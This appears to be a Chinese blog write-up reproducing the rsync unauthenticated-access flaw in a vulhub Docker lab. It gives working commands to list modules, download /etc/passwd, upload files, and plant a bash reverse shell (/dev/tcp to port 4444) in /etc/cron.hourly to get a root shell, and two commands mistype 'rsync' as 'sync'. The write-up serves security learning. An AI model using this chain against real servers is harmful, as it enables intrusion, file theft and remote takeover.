Rsync未授权漏洞复现


Rsync是Linux下一款数据备份工具,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。同时支持通过rsync协议、ssh协议进行远程文件传输,常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync协议默认监听873端口。如果目标开启了rsync服务,并且没有配置ACL或访问密码,而rsync默认是root权限,我们将可以读写目标服务器文件。

复现环境

Kali,docker

环境搭建

使用vulhub项目。下载到kali后,进入rsync/common目录下,启动docker。

$ docker-compose build
$ docker-compose run -d

使用nmap扫描,873端口开启,环境搭建成功。

漏洞复现

查看模块名列表及src模块

rsync rsync://IP:873/
rsync rsync://IP:873/src

任意文件下载

$ sync -av rsync://IP/src/etc/passwd /root/passwd.txt

任意文件上传

$ rsync 1.txt rsync://IP/src/home/

反弹shell

首先下载rsync的任务计划文件,该文件名为/src/etc/crontab。

$ sync -av rsync://IP/src/etc/crontab ./crontab.txt

下载完成后,查看,发现在每小时的第17分钟都会执行cd / && run-parts --report /etc/cron.hourly命令。

如果当前离这个时间点近的话可以直接继续,不然的话可以选择进入该docker,修改crontab文件,将17改为自己想要的值。或者将下载下来的crontab.txt改名为crontab,然后上传到原位置。

构造shell并赋予执行权限。

$ vim shell
#写入以下两行内容
#!/bin/bash 
/bin/bash -i >& /dev/tcp/IP(修改)/4444 0>&1

$ chmod +x shell

将shell上传至/etc/cron.hourly。

$ rsync -av shell rsync://IP/src/etc/cron.hourly

上传成功后,用nc监听对应的端口(4444),等待到达指定的时间,即可接收到反弹shell。


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
  目录